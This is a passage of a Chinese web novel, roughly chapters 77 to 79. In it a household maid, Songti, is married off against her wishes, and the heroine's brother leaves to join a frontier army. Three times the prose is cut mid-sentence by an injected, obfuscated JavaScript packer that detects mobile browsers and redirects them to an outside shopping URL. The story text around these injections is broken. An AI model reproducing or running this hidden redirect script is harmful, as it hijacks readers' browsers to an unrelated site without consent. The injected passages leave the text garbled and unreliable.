“松梯,你怎么啦?”南有音担忧地问道。 “少奶奶。”松梯抓着南有音的手,嘴唇打颤,向来纯良的眼睛里蓄满了绝望。 “你……”南有音心里猛地一沉,另一只手搂住松梯,将她揽在自己怀里,强行镇定,温声道,“怎么了,慢慢说。” “太太,太太她……”松梯颤抖着从南有音怀里挣脱,跪倒在地上,“她问我,愿不愿意做妾。” 南有音一时茫然,要扶松梯起来,松梯执意不起,又急又快道:“我过去服侍三小姐,三小姐常说夫妻就是夫妻,容不得他人插足,我虽不懂她那些奇怪的理论,但她说得我也认同……” “我知道,”南有音又想将松梯拽起来,“你先起来,咱们坐着说。” 松梯死死跪着,拽着南有音的衣角,认真急切道:“少奶奶,我绝对没有当妾的想法!” 南有音终于后知后觉的反应过来,松梯说得徐太太问她想不想当妾室,是问她愿不愿意当徐寂宁的妾室。 想到昨日徐太太问徐寂宁愿不愿纳妾,南有音心被猛地一拽。 她沉了沉气,再次俯身搂住松梯,轻轻道:“松梯姐姐,我知道的,我知道你是什么样的人,起来吧,千万不要再跪我了。” 她终于把松梯拉起来坐下,又沏了一杯热茶,塞进松梯手里,松梯就这样愣愣地接过了茶盏,也不管烫不烫的攥在手里,手指很快就红了,南有音又急忙将茶盏从她手里夺出来放桌上。 松梯仍是一副魂不守舍的模样,两只眼睛毫无神采,唯有一行清泪,从眼角滑到嘴角,沿着下巴滴落。 南有音琢磨该如何安慰松梯,她确信松梯被吓坏了,她斟酌着开口措辞表示对松梯的信任与喜爱时,松梯却突然说话,叫她彻底呆住了。 “太太给我指婚了。”松梯轻飘飘地吐出一句话。 “什么?”南有音下意识看了一眼窗外簌簌的雨,疑心在阵阵雷声中她的耳朵出了毛病。 “是老爷身边的云阶,昨日来过,你也见过。”松梯继续说道,“婚期订在后日,我和云阶都是徐府买来的奴才,无父无母,也就没有那些繁琐文节……” “我,你……”南有音语无伦次,“你,你愿意吗?不吧,不……” “我答应太太了。”松梯轻声道。 “我去求太太!”南有音立刻道。 话音刚落,她就往屋外冲,却被松梯拉住了。 “我已经答应了。”松梯摇摇头,“早就会有这样一天的,今年开年,太太就提到过我的年纪,还有——” 屋外闪过一道闪电,映衬出她眼中泪水盈盈,在轰鸣雷声中,她用一种无比柔和的声音提到了南玉振:“那天小甲生日,玉振同我说话,太太恰好撞见了,我就知道会有这么一天。” 想到了弟弟,南有音愈发坚决:“我去求太太!” 她甩开松梯的手,随手拿起刚刚收在檐下的伞,冲进了阴晦的雨幕之中。 松梯望着她的身影消失雨中,眼眶又蓄满泪珠,她侍奉徐夫人多年,比谁都知道,没有什么会使太太收回成命。 南有音冒雨闯入院中倒没怎么让徐太太吃惊,她似乎早就料到南有音会来,甚至早就让人准备好了帕子,把南有音叫到跟前,亲自擦去她发梢的雨水。 “我知道你是为什么来的。”徐太太淡然道,“但事情既然已经定下了,也就没有回旋的余地了。” 南有音急切道:“可是只要您能改口,也就有余地了!” “松梯脾气好,模样也好,过去跟着静祺,也略懂诗书,只是出身低微,我给了她两个选择,”徐太太说道,“可以跟着寂宁,抬她做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14448055|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨娘,不然只能嫁给府里的小厮,她不愿与你共事一夫,那也就没什么可选的了。” 她看南有音还想说什么,便又说道:“你放心罢,松梯在我身边呆过,我自不会随便找个小厮配她。云阶,你知道,跟在老爷身边,知书达理,模样人品都不差。” 南有音也顾不得别得,便也直说了:“太太,您也看出来了,我弟弟和松梯——” 徐夫人直接打断了她的话:“这件事不要再提了,他们二人绝无可能。” 南有音知道原因,但仍忍不住恳求:“倘若您同意,我父母也能答应,他们之间就会有那么一点可能的!” 徐夫人面露愠色,她那副威严的模样几乎叫南有音有些退缩,说出的无非为情爱所困,视礼法为非物,岂不叫世人耻笑。 南有音仰起脸质问:“可是太太,究竟是人的情谊更重,还是那些虚的礼法更重?松梯分明不愿意,求求您为了她考虑一下吧,她不只是府里的丫鬟,她也是一个人,是……你我的朋友。” 徐夫人似乎动气了,今日南有音胆子太大了,竟为了一个丫鬟,顶撞起她来。 她细长的眼睛盯着南有音,在看到南有音面上流露出些许畏惧,却不退缩,仍恳求着她。她骤然想起三女儿徐静祺了,徐静祺也这样同她争执人情与礼法,只是徐静祺更烈更锐,南有音柔钝些许。 她不懂她们对于某些方面的执着,却依然心软了一下,但她不会改变:“松梯没有别的选择,要么做寂宁的妾室,要么便是嫁给府中的小厮。” 南有音离开徐夫人的院子时仍然难以死心,她撑着伞去大嫂院里,想看看还能想出别的办法吗,宋知落正堂前读棋谱,见她冒着大雨到来,有些惊讶。 南有音说她想知道有什么办法能使得松梯不必身不由己。 正堂煮着茶,茶壶上缭绕的薄薄雾气使得雨天更为氲散,宋知落秀气的面庞露出一丝苦笑,她指了指南有音,又指了指自己,叹息道:“谁不是如此呢?” “身不由己……”她轻轻叹息,同雨声一样,飘摇潮湿。 离开大嫂的院落,路过院前的池塘里,枯叶残荷,冷风凄雨,萧索荒凉。 南有音撑着伞,又去了二哥的院子。大哥徐缄平也在,两人在讨论朝政,脸色都有些凝重,也没想到南有音的来访。 南有音说明来意,两人摇头,同样无可奈何,临走时,徐默安又叫住南有音,将他与徐缄平讨论的朝廷形式也告诉了南有音,告诉她倒也不是要她参与朝政,只是徐寂宁因为一而再再而三的奏请岭南改制,屡屡触犯天颜而身处朝堂漩涡的中心。 “他会怎么样吗?”南有音焦急问道。 徐寂宁也对南有音说起过朝中局势,但不知是迟钝于错综复杂的关系斡旋,亦或是自有一番坚持,他所说的局势远不如徐缄平与徐默安口中的严峻,直到听了大哥二哥所说,南有音才感到难以言喻的惶恐。 “父亲大概在用人脉周旋了,”徐缄平亦是忧心忡忡,“有音,你替我和父亲劝劝他吧,天威难测,过刚易损,总要折膝低头。” 南有音看向二哥,徐默安不着痕迹地微微一叹:“寂宁心里自有一把尺子。” 徐缄平憾然:“但总不能就看着他往深渊里走,总要阻拦一下。” 77. 轰雷 南有音浑浑噩噩回到自己院子,先找人给徐寂宁捎信,叫他今天一定要回来一趟,接着又提笔写了封信,托人给弟弟玉振送去。 两样事做完了,南有音在屋里听着滚磨似得雷声,只觉得一阵阵的心慌。 到了晌午,雨才稍稍小了一些,午饭时松梯不在,是院子里另一个大丫鬟陪着南有音。 她有些担心道:“松梯呢?” “松梯姐姐说她身子不舒服,叫我来替她。” 南有音点点头,松梯大概想一个人呆着吧。 那个丫鬟又忽然说道:“我们听说太太给松梯指婚了,还是老爷身边的云阶,少奶奶,这是真的吗?” 南有音不知说什么好,答不上来,她希望那不是真的。 但小丫鬟似乎将她的沉默视为了默认,忍不住说道:“松梯真是有福气,能嫁给云阶那样的。” “这很好吗?”南有音轻声问。 “当然很好啊,”小丫鬟似乎有点不好意思,“云阶模样人品在徐府算是一等一的了,我们这些到了年纪的丫鬟,一听要婚配,都想着云阶。太太果真是疼松梯姐姐,给她这样好的婚事,我还听说老爷一直打算消了云阶的奴籍,提他当官呢。” “嗯。”南有音无滋无味地进食,却依旧想着松梯,从小丫鬟口里听来,云阶似乎不错,可大家都想要得,偏偏不是松梯想要的。 她想要的,大概她自己也不敢想吧。 南有音沉沉一叹,某种程度上南玉振与松梯差不多,大家想要的,他也不想要,无数人渴望巴结徐寂宁从而与尚书徐老爷攀上些交情,他偏偏不想要,只是想要他的姐姐在徐府能自在无拘。 南有音不知道弟弟得到消息后会做出什么举止,她知道弟弟的性子,心中万分嘱咐他冷静行事,但她也知道,弟弟肯定不会听。 “松梯姐姐若是真能嫁给云阶,那是最好不过的归宿了,”小丫鬟依旧喋喋不休,“云阶跟着老爷,随便捡点就够寻常人家过活,松梯姐姐若是跟着他,自是衣食无忧,不必劳心劳力,若是许配其他人,哪怕是寻常平民百姓,也未必能有徐府这种大户人家的奴才过得更好……” 南有音不知道该说些什么。 临近傍晚时分,徐寂宁方才匆匆回来。 “你叫人找我回来?”徐寂宁问道,他来的匆忙,鞋子与衣服下摆透湿,在屋内留下一行水渍。 南有音将徐太太关于松梯的安排迅速说了,徐寂宁也愣住了,半晌才回神,喃喃道:“我说过的,松梯跟玉振的事若是叫太太知道了……” “我求了太太,太太的意思松梯跟玉振是绝无可能的,她说松梯要么嫁给云阶,要么……”她声音渐渐低了。 “要么什么?”徐寂宁心里燃起一点希望,太太仿佛还留有一点选择的余地。 南有音一口气说了出来:“要么就做你的妾室。” 徐寂宁瞪着眼,好久说不出话来,终于晓得昨日母亲问他要不要纳妾是什么意思了。 “有音……”他不知道该说些什么。 南有音却没理会他的犹疑,直截了当地说道:“我叫你回来,是想商量,要不然就留她做妾,等日后再做打算。” 南有音想着将松梯留在自己身边,只是给她冠上一个姨娘的称号罢了,日后若有转机,她也能再为松梯跟玉振打算,若是真嫁给云阶,她也没有其他办法,只能是木已成舟,覆水难收。 她的想法又叫徐寂宁好久说不出话来,半晌,只是轻轻摇了摇头。 “为什么?”她不解道,“我可以不在乎你有没有妾室,你也不会在意那些虚名吧?” 徐寂宁低声道:“你跟我可以无所谓,可是松梯的名节怎么办,虽说只是些虚的,可众口铄金人言可畏,哪怕你我都知道只是给松梯一个无实的妾室名头,可在众人眼里她就是做了姨娘,是辨无可辨的事实,就算日后能有办法使得她与玉振能两全,她也会永远背着我的妾室的名头。” 南有音默然,她不得不承认徐寂宁说得对。 “若是松梯不在乎,玉振也不在乎呢?”她仍觉得有点希望,挣扎着无力地分辨了一下。 “即便他们不在乎人言可畏,”徐寂宁哑声道,“你觉得松梯会同意吗?只是为了对你和我的忠诚,为了玉振的情谊,她也不会选这个选项的。” 南有音颓然倒在椅子上,依她对松梯了解,松梯不会答应,甚至倘若她去问松梯,松梯甚至会又一次诚惶诚恐地跪下,恳请她不要再说。 她与徐寂宁谈话间,太太那边又叫人来找松梯。雨天阻碍行人的脚步,却挡不住消息的传递,从早晨到傍晚,太太要送松梯出嫁的消息传遍了每个人的耳朵,院子里的丫鬟们纷纷打趣说太太现在找松梯,必然是要给她添些嫁妆。 南有音和徐寂宁并排站在檐廊下,看着松梯的单薄瘦削的身影随着太太派来的人走了,留下空荡荡的灰色雨幕和院子里一众丫鬟艳羡的声音。 “难道就没有一点办法了吗?”回到卧房,南有音空洞地问道。 徐寂宁坐在一边换下湿透的鞋袜,他没有直接回答,而是问道:“玉振知道吗?” “我叫人给他送信了,”南有音心里乱糟糟的,“我总怕他冲动行事。” “说起玉振,”徐寂宁犹豫道,“他的事已妥当了,在皇城卫里为他安排了一个职位,官职虽小,但若有能为,亦能出人头地,若本分踏实,也能糊口。你再见到他时,同他和南老爷说一声。” “嗯。”南有音仍在想着松梯的事,心中一片惶然绝望后,只好问道,“云阶怎么样?你有数吗?” “他一直跟着老爷,老爷对他也颇为赏识,”徐寂宁说道,“说他只是出身太低,否则是能成大事的,应该过不了多久,老爷会想办法消了他的奴籍,这样办事也能方便许多。” “平心而论,”徐寂宁说道,“太太确实为松梯选了一条不错的归宿。” “可是这未必是松梯想要的。”南有音摇头。 “她与玉振……”徐寂宁叹气,“终究是……” 他没能说下去,转而说道:“云阶与松梯是一年进府的,他们认识的时间很长,关系也不错的。” 他想宽慰南有音几句,但忽然有人急匆匆地来了,是徐老爷身边的云阶与另一个小厮,他说徐老爷找小少爷,好像是宫里传来什么消息,急需他去一趟。徐寂宁匆匆走了,光留下南有音想起大哥二哥的话,心里一阵说不上来的担忧。 云阶略停了停,问起松梯姑娘,南有音说太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457560|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太叫她去了,云阶点点头,从怀里掏出一个绸布包袱,里面盛着一支翡翠簪子,一对翡翠手镯,一对金耳环,一只金戒指。 “劳请少奶奶将这些转交松梯姑娘。”云阶说话不卑不亢,让人听着很舒服。 “这是?”南有音不明所以,望着那些金灿灿的首饰有些困惑。 云阶似乎略有羞涩,但仍不紧不慢说道:“我和松梯姑娘都是徐府买来的奴才,虽说没有父母在堂,身份低贱,诸多礼节都省减了,但我还是想着,婚姻大事,总要郑重些,况且……” 他略一低头,藏不住嘴角笑意与欣喜:“况且是松梯姑娘,自然要更为郑重。” “你对松梯是……”南有音不傻,一眼就看得出这位云阶对松梯不太一样。 云阶答得落落大方:“年少相识,倾慕已久。” 南有音拿不准脸上该是什么样的神情,她将刚刚看到云阶时脑子里冒出的一个念头,就是想看看能不能从云阶这边入手,从而叫徐太太打消念头,但现在云阶这样说,她无论如何也开不了口。 云阶面上的热诚与真挚,又询问她,松梯对这门婚事怎么看,他眼里发着光,满是对未来的期许,叫南有音心底隐隐作痛,只总恨世上总是没有两全其美的方法。 她实在说不出什么,任是她再无情也不忍浇灭他的爱意,只好问道:“你会对松梯好吧?” 云阶认真而郑重道:“既然倾慕已久,自然视若珍宝。” 云阶走后,南有音枯坐着,瞧着檐下雨滴成行落下,珠帘一样。她在想人间总是如此,总是得不到完美,有人与心上人相隔两端,有人娶到心上人却发现心上人另有心上人,也有人,在琐碎之中渐渐将人从心上拿下…… 她等着徐寂宁或者松梯回来,天空的雨更大了,又是一阵电闪雷鸣,阴沉的厉害,像是天黑一般,叫人分不清究竟是什么时辰。 嘈杂的雨声雷声之中,南有音听到了一个异响,好像有人在敲窗户。 她打开窗户,猛烈地雨丝扑面而来,借着一道划过的闪电,她在雷声轰鸣中看到了弟弟南玉振站在窗户外,一脸的苍白,头发湿湿地贴在脸上,从头到尾淋得湿透,唯有那双眼睛,亮闪闪的,像是藏着火。 “你——”南有音讶然。 “姐姐,你信里说得是真的吗?”南玉振抹了一把脸上的雨水,直奔正题。 “当然,可是,你,你怎么来了?”南有音打开门,雨大天阴,四下无人,放南玉振进屋来。 “姐姐,松梯呢?”南玉振抓住南有音的肩膀问道,他手心的雨水也渗进了南有音的衣服,一片冰凉的潮湿。 “太太找她。”南有音找出帕子,去擦弟弟脸上的雨,但无论南玉振湿透了,眉间发梢,沥沥不止的水滴,甚至在屋里留下了一摊水渍。 “你怎么来了?”南有音忧心道,“我告诉过你不要冲动。” 南玉振一接到姐姐的信就从家里跑了,南家没有马车,他只能靠脚力,雨水浇在脸上,水花翻在脚下,借着雨天悄悄翻墙进的徐府。 “我怎么可能不冲动?”南玉振咬着嘴唇,皱着眉头,眉尾下压着,像极了被抢走珍宝的孩童。 “姐姐,我要带松梯走。”他眼尾红红的,认真地说道。 78. 囚笼 “你说什么?”南有音紧张道。 “我要带松梯走,逃走,到大家找不到的地方。”南玉振说道。 入冬以后,天气越来越冷,南玉振的衣服都被雨水湿透了,因寒冷而微微颤抖着,细碎的雨滴从他的睫毛上滑落。 “你……”南有音一时懵住了,她先找了几件徐寂宁的衣服,想叫南玉振先换上。 南玉振却很激动,抓着姐姐的手,告诉她,他要带松梯走,他是认真的:“姐姐,你会帮我们吧?” 南有音犹豫一下,还是点了点头,便问道:“你带她去哪儿?” “我……我不知道,”南玉振迟疑了一下,“大概是离开京城。” 南有音问:“离开京城之后呢?” 南玉振不太确定:“或许……或许是回我们小时候的家乡。” “然后呢?”南有音又问,“你和松梯要怎么生活?” 南玉振答不上来了,他在京城书读的不好,同时也身无长技,他十岁就离开家乡了,早就忘记了谷物蔬果如何种植了,他没有任何能够养活自己与松梯的办法。 或许他有,他可以做些苦力,挣点微薄的收入,但他没有住所没有田地,他可以预想到那种贫困的生活,正如他的儿时。 南玉振还记得他的童年,他生在一个家徒四壁的家里,自出生之后,他从来没有吃饱的日子,吃糠咽菜在他的童年不是一个形容,而是实实在在的。在被南氏夫妻收养前,他过足了贫困潦倒的日子,偶尔噩梦,便会回到父母养不起孩子将他卖给人牙子的场面。 南玉振眼眸黯淡了,他并非畏惧那种潦倒不堪的穷困,只是害怕松梯会吃那样的苦。即便松梯不是什么千娇百贵的大小姐,只是一个丫鬟,他也不愿她受苦,更何况大户人家丫鬟的吃穿用度也往往也比寻常人家的女儿更为精细。 他想到了松梯白净的手与干净的脸庞,他不忍心纤纤玉指上长出陈茧,也不忍如月的肌肤被晒伤。他想带她走,但不想将她带到困苦的牢笼,她像他的明月,他不忍叫她沾染尘泥,为此宁愿叫她在天边,而非他的身边。 他知道松梯跟他走了,等待着他们的会是什么样的生活。 “玉振,你想清楚了吗……”南有音很少见弟弟这样失神,心中不忍,轻轻抱住了他,“如果你想清楚了,松梯也答应,我会帮你们的。我有一些金银首饰,你带上变卖,能撑一段时间,父亲母亲那边,我会照顾,徐府这边,我也会尽力阻拦他们找到你们。” 熟悉的温度稍稍驱散了南玉振身体的寒意,但他的心却一直往寒潭沉去。 “姐姐,”半晌后他喃喃说道,“我没有能力带她走,徐夫人为她择的夫婿好吗?她不会受苦吧……” 南有音不知道该怎么说,只将湿漉漉的弟弟抱得更紧了些,她听到他的呼吸声渐渐颤抖,掺杂上呜咽与无法压抑的抽泣,她轻轻抚着他的后背,最后自己也忍不住流泪,她扶在他的肩头,他湿透的衣服也沾湿了她的眼睫。 抽泣声渐渐低了,南玉振抹了一把眼角,起身道:“姐姐,我要走了。” “松梯说不定很快就回来了。”南有音说道,“玉振,你想清楚了吗?” 南玉振张了张嘴,似乎挣扎一番才发出声音:“我怕见了她会忍不住带她走。” “你们若是要走,”南有音颤声道,“我会帮你的。” 南玉振摇摇头。 “姐姐,你替我告诉她,”他指着自己的左胸,“无论如何,我总会记得,等有一天……” 他咬着唇道:“等有一天,等我有能力让她做不染凡尘的明珠时,只要她愿意,我就会……” “会……”他终究没有说出会怎样,或许是将言之有尽的话语留给松梯去补全了。 他抬起眼,又注视着姐姐,深深地望着她:“姐姐,你在徐府不要委屈自己,你不高兴,便回家,我……” 他依旧没说出什么,只深深一叹,南有音来不及阻拦,他冲进了屋外的瓢泼大雨,消失在黑夜之中。 南有音挑着烛火,继续等待,这一夜,无论是松梯还是徐寂宁,都没有回来。 直到次日,伏在桌子上的南有音被叫醒,是松梯叫醒了她,劝她去床上睡。 见到松梯那双小鹿一样的眼睛,南有音却马上清醒了。 “你回来了!”她惊道,瞅了一眼窗外,灰蒙蒙的一片,分辨不出时间。 松梯道:“时间还早,再休息会儿吧。” “你什么时候回来的?”南有音起身,“太太没为难你吧?” “太太给我添了些行头,叫我去试喜服,”松梯别开眼,有些愧疚道,“昨夜回来的,看天晚了,便没来打搅,今早起来见到屋里亮着灯,过来看看,才知道少奶奶守了一夜。” “倒也不是因为别的,”南有音微微一叹,说道,“云阶昨晚来过一趟。” 她将云阶留下的包袱交给松梯,虽是阴天,金玉珠宝也熠熠生辉。 “他说总要郑重些。”南有音将云阶的话一字不落的传达,垂眸低低叹道,“看得出来他很喜欢你。” “嗯。”松梯淡淡应了,接过金玉首饰,愣愣低头瞧着,像是在看一堆不起眼的石头。 “昨夜,”南有音又轻声道,“玉振也来过了。” 松梯骤然抬起了眼睛,但那双小鹿一样的眼睛迸发出极为闪耀的光泽,闪烁了几下,很快又复归黯淡。 “嗯。”松梯抿着唇,仍是淡淡应答了一声。 “他,他说,”南有音嗓子发干,“他让我转告你一些话,他说他会永远将你放在心上,他说等有那么一天……” 南有音尽力将弟弟的心意传达,但那些言有尽而意无穷的东西,只能由松梯自己去琢磨了。 松梯低着头,半晌才道:“他几时走的?” 南有音不清楚。 “此后若是再见面,也不知道……”松梯声音颤抖,“如何自处……” 南有音百般犹豫是否要说出南玉振披着雷雨而来,其实是想带松梯离开。但事已至此,无可挽回,她再告诉马上嫁作人妻的松梯,似乎除了徒增悲伤之外也没有其余必要。 “昨夜玉振来这里,他其实是想见到你,带你走的。”南有音最后还是说了出来。 “是吗?”松梯嘴角牵出了微微笑意,像是得到了什么安慰一般,“如果是他,我会跟他走。” 早饭过后,虽是阴雨天气,院子里的人却也忙碌起来,大概是松梯要嫁人的消息得到了证实,大大小小的丫鬟婆子都不由自主的忙了起来,有的忙着装点打扫院子,有的忙着找松梯打趣,整的阴雨天的庭院似乎没那么沉闷了。 但南有音知道,朦胧阴雨,恰如松梯的心境。 她伏在枕头上,忽然有些恨自己无能为力,无力去反抗徐夫人,但她想到云阶,又百味杂陈。 永远没有圆满的时候,她这样倦倦地想着,不管是她自己还是松梯,亦或是其他人,都是这样,永远没有圆满的时候。 临近正午,南夫人忽而给她传消息,说南玉振半夜从家里跑了,今日一早也未归家,询问她玉振是否来找过她这个姐姐。 南有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464639|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音思量时间,昨日玉振来找她时刚过了晚饭,离开时虽不知几时,但到不了半夜,南夫人说玉振半夜离家,必然是回去又走得。 她也不知道弟弟一时冲动做了些什么,一阵心乱,也顾不得别的,直接乘车回了南家一趟。 南夫人满脸焦急,南老爷低着头坐在窗边,几乎融入到潮湿的雨气之中。 南有音从母亲那里得知,南玉振昨晚半夜回府后,同南老爷大吵了一架,起因是南老爷说起托徐府给玉振安排的差事找好了,玉振一听便不愿意了,南夫人没仔细说父子二人如何争吵,只略略提了一嘴玉振嫌父亲利用姐姐给他某差事,南有音便心下了然,她最知道弟弟那张嘴和那种宁折不屈的性子。 “你爹气不过,便说了几句狠话,说他一无是处,不依靠你为他谋个一官半职他自己能有什么出息,”南夫人颇为恼怒地瞪了丈夫一眼,“也怪你爹,自己没本事罢了,还指望孩子能有本事。” 南老爷似乎想张嘴分辨几句,却看妻子眼眶发红,便又重新低下了头。 “你爹也是个粗心的,昨夜也不知怎么了,玉振明显看着魂不守舍一反常态,他看不出来,净说些狠话,”南夫人蹙着眉,“玉振自从来了咱家,从没那样过,阿音,你知道是怎么回事吗?” “因为……”南有音艰难开口,“松梯姑娘要嫁人了。” 出乎南有音意料的是母亲并没有对此表示出太多震惊,她只轻轻“啊”了一声,便说道:“我早看出来了,玉振对她不一样,可是他们两个……” 南夫人摇摇头,不再说话,南有音明白,是母亲也不能同意他们二人在一起。 南有音说了弟弟昨天傍晚冒雨去徐府找了自己:“他差点就带着松梯走了。” “他就是这样的性子,”南夫人忧虑道,“所以我才担心,他昨夜走了,一直没再回来,也不知道做什么去了,他与你最亲,有没有给你哪儿送什么消息?” 南有音摇头,她安慰了母亲一阵子,自己也着急,她想着若是一直找不到南玉振,便拜托徐夫人或者徐寂宁帮忙,找个人对徐府这种人家来说大概很轻松。 她还挂记着院里松梯的事,也没在家中停留太久,又匆匆走了,临行前,父亲忽然叫住她,问起徐寂宁。 南有音说他很忙,昨日只回府呆了一小会儿,就又被叫走了。南老爷神色有些凝重,叫南有音再见到徐寂宁时劝他谨慎些,这不是南有音第一次听到有人这样对她说了,大哥二哥也这样说过,父亲也这样说。 “他到底怎么啦?”南有音问道。 南老爷解释了几句,无非还是岭南的事,南有音忍不住说道:“可是徐寂宁也没做错什么呀。” “我自然知道,”南老爷沉闷道,“但是官场错综复杂,有些事论不了黑白对错,徐朗位高,树大招风,寂宁是他的儿子,本就招惹是非,况且当今圣上,心意难测,岭南一事上,寂宁一再孤行,恐怕有人会趁机攻讦,皇上难免责罚。” 南有音答道:“可是爹,不管后果如何,总有人得指出正确的路啊。” 南老爷勉强笑了一下:“有音,你与寂宁的想法倒是相似,也不愧是夫妻,果真同心。” 这是南有音头一次听父亲说起她跟徐寂宁,“夫妻同心”这个形容扣在她与徐寂宁身上,让她觉得些许不合适。两心相许方才是爱人,是夫妻,这是她在三姐那本留下的册页中读到了,早在去岭南的路上,她与徐寂宁就说过对彼此无意。 至于现在,她想了想,或许“知己”更为合适?她也说不清她与徐寂宁之间,便放任 79. 突变 南有音回到院子里时天已经黑了,雨依旧不停,徐寂宁也没有回来。 松梯的箱笼已经收拾的差不多了,太太遣人又送了些东西,丫鬟婆子围着看都羡慕得不行,都说太太偏爱松梯。 南有音也添了几幅首饰给松梯压箱,正挑选着,松梯走进屋里,手里拈着一张纸,说是有人给少奶奶的。 南有音接过这张只是折了几下的纸,便心头一跳,几乎在打开前就知道这是谁的信了,除了南玉振,没人会用这样简陋的法子。 打开之后,果然是南玉振,寥寥数字,字迹飞舞——姐姐,我今日一早便随着镇西军走了,你以后有空多回家看看父母,勿念。 南有音听过镇西军的名字,是戍守西北边防的军队,轮番戍守,长年征募。 她有点木地盯着弟弟的字,周围的一切,无论是雨声雷声,或者是偶尔一闪的刺眼闪电,都在扫视万纸条的刹那间离她而去,她想到了母亲描述昨夜他们父子的争吵,想到她询问带松梯走后该如何生活时,南玉振脸上流露的悲愤与无奈…… 最终她缓缓回神,对这样的一个结果并没有太多的无法接受,她了解玉振,他不是一个会心安理得接受平庸与施舍的人。她也知道玉振了解她,她不会阻拦他,他将字条传到她的手里,大概也是要托她说服父母,放他去边疆,任他去寻一条独属于自己的残酷道路,无论是一将功成亦或黄沙白骨,皆是他自己的选择。 她又把纸条塞进了松梯的手里,纸条最后两句流露出不同的温情,显然是写给松梯的-——虽在天边,亦在我心。 松梯看了很久,很小心地将纸条重新折好,还给了南有音,低声道:“少奶奶,明日起,我便不会再与玉振少爷有任何牵连了。” 南有音也说不出什么,只好抱住松梯,说道:“可是不论如何,你都是我的松梯姐姐。” 当夜,南有音留了松梯与她同床,松梯有些不安,问要是小少爷回来了怎么办,南有音轻哼一声,他回来又能怎样,叫他在外厅打地铺,逗得松梯微微一笑。 她与松梯说了几乎一宿的话,在轰鸣不断的雷声中推断镇西军的行程,忧心大雨是否阻挡了他们的步伐,她们想到了塞外的大漠孤烟,想到了古来征战几人回,想到了玉振熠熠生辉的眼睛。 “他会回来的。”南有音轻声道。 “他会的。”松梯也轻声重复。 此时的她们想不到此后十多年里,玉振再也没有回过京城,也想不到这个年轻的少年,会在西北荒漠留下怎样的足迹。 此时的镇西军早已离京扎寨,在远离京城的迷蒙雨丝中,天上没有月亮,也没有星星,在众人酣眠声中,南玉振悄悄走出营帐,有些后悔白日离开时没再多看一眼京城的城墙。他望着一片漆黑的夜晚,在细细的薄雨中,向着不存在的月亮许愿,求神仙庇护他所爱的姑娘,让她永远幸福快乐,哪怕会忘了他,也求神仙庇护他的家人,他的父母姐姐,他们四个没有任何血缘关系的人组成了一个家,构成了将会使他一生都魂牵梦绕的少年时光。 次日院子里众人都起了个大早,松梯人缘很好,大家都自发的为她准备,梳头发的梳头,化妆的化妆,将松梯打扮得漂漂亮亮,临末了,众人又都依依不舍,松梯只好又劝众人,她只是嫁人,又不是离开这里了,过不了两天就回来了。 原本府里丫鬟嫁人也没什么仪式,左右不过太太或者老爷一句话丫鬟小厮就配好了,但这次许是徐太太当真喜欢松梯,也或许是徐老爷确实看重云阶,两人的婚事倒也办的有模有样,拜堂的仪式是一个不拉,几个同云阶关系不错的会吹啦的府里随从,也奏起喜乐,一片喜庆,压过了老天爷阴沉沉的脸。 松梯与云阶的婚礼上,徐太太略露了露面就走了,只剩下南有音跟院子里的大小丫鬟婆子凑热闹,随着仪式开始,南有音心里越来越急,她找人跟徐寂宁捎过消息,叫他回来,好歹送一送松梯的,左等右等,就是见不到人影。 院里一个有些资历的婆子充当了司仪,吉祥话儿一套又一套的,逗得众人合不拢嘴,南有音悄悄去看松梯,隔着一层红盖头什么也瞧不见,她只看到松梯身边的云阶,脸上的笑始终没有落下过。 不得不说云阶确实相貌堂堂,器宇轩昂,新婚之日换上新郎官儿的衣服,不必在主子跟前卑躬屈膝,若没人说,谁也看不出他只是徐老爷的一个随从,大概会当他是个官宦人家出身。 倘若没有其他事,云阶确实能算是一个好归宿,南有音不知道松梯会怎么想,毕竟不论如何,她温顺的性格总不会有所反抗,她总会默默地谦卑地吞下一切,不论是苦楚还是其他。 司仪又唱和着拜天地,拜高堂,松梯与云阶都没有父母,是徐府的奴才,众人非把南有音撺掇上去充当高堂,论年纪,南有音比松梯和云阶都小,叫她好一阵尴尬,她说她跟松梯是姐妹关系,怎么能当高堂这种,司仪却说是主仆关系,怎么当不了,最后南有音还是被架了上去,老老实实接了新人的拜高堂。 好歹新人夫妻对拜后,南有音方得了机会脱身。 她才从喧闹的人群里挤出来,就看到太太身边的丫鬟急匆匆地找她:“少奶奶,太太找您有急事。” “什么事?”南有音悄悄从人群里走了,远远看了一眼,穿着喜服的新人被围在众人当中,一团喜气。 “好像是小少爷的事。”太太身边的丫鬟低声道。 南有音觉得不会是什么好事,不由得加快了脚步。 